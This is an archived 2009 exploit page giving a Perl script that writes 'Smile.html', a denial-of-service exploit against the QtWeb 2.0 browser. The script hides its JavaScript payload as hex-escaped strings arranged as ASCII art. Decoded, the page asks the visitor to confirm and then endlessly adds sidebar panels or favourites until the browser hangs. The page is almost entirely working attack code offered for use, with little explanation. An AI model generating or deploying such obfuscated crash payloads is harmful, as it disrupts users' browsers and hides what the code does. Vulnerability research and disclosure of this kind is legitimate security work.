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QtWeb Internet Browser 2.0 (build 043) Remote Denial of Service Exploit (smile)

🗓️ 01 Apr 2009 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 15 Views

QtWeb 2.0 (build 043) Remote Denial of Service Exploi

Code
<html><body><p>###################################################################################
#
# QtWeb Internet Browser 2.0 (build 043) Remote Denial of Service Exploit (smile)
#
# Summary: QtWeb is compact, portable and secure web browser having some unique UI
# and privacy features. QtWeb is an open source project based on Nokia's Qt framework
# (former Trolltech) and Apple's WebKit rendering engine (the same as being used in
# Apple Safari and Google Chrome).
#
# Happy Exploit.
#
# Product web page: http://www.qtweb.net/
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm gmail com
#
# http://www.zeroscience.org/
#
# 01.04.2009
#
###################################################################################

			      $S="\x3C\x68\x74\x6D\x6C\x3E\x0D\x0A".
			 "\x3C\x74\x69\x74\x6C\x65\x3E\x51\x74\x57\x65\x62".
		 "\x20\x49\x6E\x74\x65\x72\x6E\x65\x74\x20\x42\x72\x6F\x77\x73\x65".
	     "\x72\x20\x32".						 "\x2E\x30\x20".
	 "\x28\x62".								 "\x75\x69".
     "\x6C\x64".								     "\x20\x30".
 "\x34\x33".										 "\x29\x20".
 "\x52\x65".										 "\x6D\x6F".
 "\x74\x65".										 "\x20\x44".
 "\x65\x6E".										 "\x69\x61".
 "\x6C\x20".										 "\x6F\x66".
 "\x20\x53".										 "\x65\x72".
 "\x76\x69".										 "\x63\x65".
 "\x20\x45".										 "\x78\x70".
 "\x6C\x6F".	 	"\x69\x74".				"\x3C\x2F".		 "\x54\x69".
 "\x74\x6C".	    "\x65".	"\x3E".			    "\x0D".	"\x0A".		 "\x3C\x68".
 "\x65\x61".	"\x64".		    "\x3E".		"\x3C".		    "\x62".	 "\x6F\x64".
 "\x79\x3E".  "\x3C".		      "\x73".	      "\x63".		      "\x72".	 "\x69\x70".
 "\x74\x20".										 "\x74\x79".
 "\x70\x65".										 "\x3D\x22".
 "\x74\x65".										 "\x78\x74".
 "\x2F\x6A".										 "\x61\x76".
 "\x61\x73".										 "\x63\x72".
 "\x69\x70".										 "\x74\x22".
 "\x3E\x0D".										 "\x0A\x61".
 "\x6C\x65".										 "\x72\x74".
 "\x28\x22".										 "\x51\x74".
 "\x57\x65".										 "\x62\x20".
 "\x49\x6E".										 "\x74\x65".
 "\x72\x6E".										 "\x65\x74".
 "\x20\x42".										 "\x72\x6F".
 "\x77\x73".										 "\x65\x72".
 "\x20\x32".										 "\x2E\x30".
 "\x20\x28".	"\x62".								"\x75".	 "\x69\x6C".
 "\x64\x20".	 "\x30".						       "\x34".	 "\x33\x29".
 "\x20\x52".	  "\x65".						      "\x6D".	 "\x6F\x74".
 "\x65\x20".	    "\x44".						    "\x65".	 "\x6E\x69".
 "\x61\x6C".	     "\x20".						   "\x6F".	 "\x66\x20".
 "\x53\x65".	        "\x72".						"\x76".		 "\x69\x63".
 "\x65\x20".		 "\x45".				       "\x78".		 "\x70\x6C".
 "\x6F\x69".		   "\x74".				     "\x5C".		 "\x6E\x5C".
 "\x6E\x5C".		     "\x74".				   "\x5C".		 "\x74\x5C".
 "\x74\x62".		        "\x79".				"\x20".			 "\x4C\x69".
 "\x71\x75".			   "\x69".		     "\x64".			 "\x57\x6F".
 "\x72\x6D".			      "\x20".		  "\x28".			 "\x63\x29".
 "\x20\x32".				 "\x30".       "\x30".				 "\x39\x22".
 "\x29\x3B".				    "\x0D\x0A\x66".				 "\x75\x6E".
 "\x63\x74".										 "\x69\x6F".
 "\x6E\x20".										 "\x64\x6F".
 "\x7A\x28".										 "\x29\x20".
 "\x7B\x0D".										 "\x0A\x74".
 "\x69\x74".										 "\x6C\x65".
 "\x3D\x22".										 "\x48\x6F".
 "\x74\x20".										 "\x49\x63".
 "\x65\x22".										 "\x3B\x0D".
     "\x0A\x75".								     "\x72\x6C".
 	 "\x3D\x22".								 "\x68\x74".
	     "\x74\x70\x3A".						 "\x2F\x2F\x77".
 		 "\x77\x77\x2E\x6D\x69\x6C\x77\x30\x72\x6D\x2E\x63\x6F\x6D\x2F".
 			 "\x22\x3B\x0D\x0A\x69\x66\x20\x28\x77\x69\x6E\x64".
 			      "\x6F\x77\x2E\x73\x69\x64\x65\x62";$M=




				"\x61".	      "\x72"	      ."\x29".	       "\x20".
				 "\x7B".     "\x0D"       ."\x0A". "\x77".     "\x69".
				   "\x6E"."\x64".	  "\x6F".    "\x77".   "\x2E".
				       "\x73".		  "\x69".    "\x64".   "\x65".
				       "\x62".		  "\x61".    "\x72".   "\x2E".
				       "\x61".		  "\x64".    "\x64".   "\x50".
				       "\x61".		  "\x6E".    "\x65".   "\x6C".
				       "\x28".		  "\x74".    "\x69".   "\x74".
				       "\x6C".		  "\x65".    "\x2C".   "\x20".
				       "\x75".		  "\x72".    "\x6C".   "\x2C".
				      "\x22".		  "\x22".    "\x29".   "\x3B".
				     "\x0D".		    "\x0A"."\x7D".
				    "\x20".		       "\x65".	       "\x6C".
									       "\x73";




     $I="\x65\x20\x69\x66\x28\x20\x77".
		"\x69\x6E\x64\x6F\x77".
		"\x2E\x65\x78\x74\x65\x72\x6E".
			"\x61\x6C\x20\x29\x20". ##############
			"\x7B\x0D\x0A\x77\x69\x6E\x64". ##   #
				"\x6F\x77\x2E\x65"."\x78". ###### 
				"\x74\x65\x72\x6E\x61". ##########	 _	   _	     _
			"\x6C\x2E\x41\x64\x64\x46\x61\x76\x6F\x72\x69". #==----   #==----   #==----
				"\x74\x65\x28\x20\x75".
				"\x72\x6C\x2C\x20\x74". ##===*
			"\x69\x74\x6C\x65\x29\x3B\x0D".
			"\x0A\x7D\x20\x65\x6C".
		"\x73\x65\x20\x69\x66\x28\x77".
		"\x69\x6E\x64\x6F\x77".
	"\x2E\x6F\x70\x65\x72\x61\x20";
		####################


	$L="\x26\x26\x20\x77\x69\x6E\x64\x6F\x77\x2E".
		"\x70\x72\x69\x6E\x74\x29\x20\x7B".
		   "\x20\x0D\x0A\x72\x65\x74".
			"\x75\x72\x6E\x20".
			  "\x28\x74\x72".
			    "\x75\x65".
			      "\x29".
			      "\x3B".
			    "\x20\x7D".
			  "\x7D\x0D\x0A".
			"\x76\x61\x72\x20".
		   "\x61\x73\x6B\x20\x3D\x20".
		"\x63\x6F\x6E\x66\x69\x72\x6D\x28".
	   "\x22\x50\x72\x65\x73\x73\x20\x4F\x4B\x20".
		"\x74\x6F\x20\x73\x74\x61\x72\x74".
		   "\x20\x74\x68\x65\x20\x44".
			"\x6F\x53\x2E\x5C".
			  "\x6E\x50\x72".
			    "\x65\x73".
			      "\x73".
			      "\x20".
			    "\x4E\x6F".
			  "\x20\x74\x6F".
			"\x20\x64\x6F\x64".
		   "\x67\x65\x20\x74\x68\x65".
		"\x20\x44\x6F\x53\x2E\x22\x29\x3B".
	   "\x0D\x0A\x69\x66\x20\x28\x61\x73\x6B\x20".
		"\x3D\x3D\x20\x74\x72\x75\x65\x29".
		   "\x20\x7B\x20\x0D\x0A\x66".
			"\x6F\x72\x20\x28".
			  "\x78\x3D\x30".
			    "\x3B\x20".
			      "\x78".
			      "\x3C".
			    "\x78\x2B".
			  "\x31\x3B\x20".
			"\x78\x2B\x2B\x29".
		   "\x20\x64\x6F\x7A\x28\x29".
		"\x3B\x0D\x0A\x7D\x20\x65\x6C\x73".
	   "\x65\x09\x7B\x20\x61\x6C\x65\x72\x74\x28".
		"\x22\x4F\x6B\x20\x3A\x28\x22\x29".
		   "\x3B\x0D\x0A\x77\x69\x6E".
			"\x64\x6F\x77\x2E".
			  "\x6C\x6F\x63".
			    "\x61\x74".
			      "\x69".
			      "\x6F".
			    "\x6E\x2E".
			  "\x68\x72\x65".
			"\x66\x20\x3D\x20".
		   "\x22\x68\x74\x74\x70\x3A".
		"\x2F\x2F\x77\x77\x77\x2E\x71\x74".
	   "\x77\x65\x62\x2E\x6E\x65\x74\x2F\x22\x3B";
      #########
	$E="\x0D\x0A\x7D\x20".
		"\x3C\x2F\x73\x63".
			"\x72\x69\x70\x74".
				"\x3E\x3C\x2F\x62".
					"\x6F\x64\x79\x3E".
						"\x3C\x2F\x68\x65".
							"\x61\x64\x3E\x3C".
								"\x2F\x68\x74\x6D".
									"\x6C\x3E";#####____

my $file = "Smile.html";
my $fun = $S.$M.$I.$L.$E;
open (mrowdiuqil, "&gt;./$file") || die "\nMffff... $!\n";
print mrowdiuqil "$fun";
close (mrowdiuqil);
print "\n[+] File $file created with funny potion\!\n\n";
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